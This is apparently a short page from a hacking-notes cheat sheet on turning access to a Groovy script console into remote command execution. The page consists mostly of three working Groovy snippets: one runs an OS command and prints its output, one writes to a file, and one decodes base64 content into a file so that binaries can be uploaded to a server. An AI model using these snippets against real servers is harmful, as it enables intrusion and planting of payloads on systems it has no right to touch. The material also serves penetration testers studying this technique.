Hacking Notes logo Hacking Notes

RCE from Goovy console

It is possible to achieve os command execution with goovy scripts.

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'id'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Write on a file:

def file = new File("test.txt")
file.append("outuput\n")

Decode a base64 string and store it to a file, useful to upload binaries on the server.

def outputFile = new File("/tmp/test.txt") 
def base64Content = "<BASE64-CONTENT>" 
byte[] decodedBytes = Base64.decoder.decode(base64Content)
outputFile.bytes = decodedBytes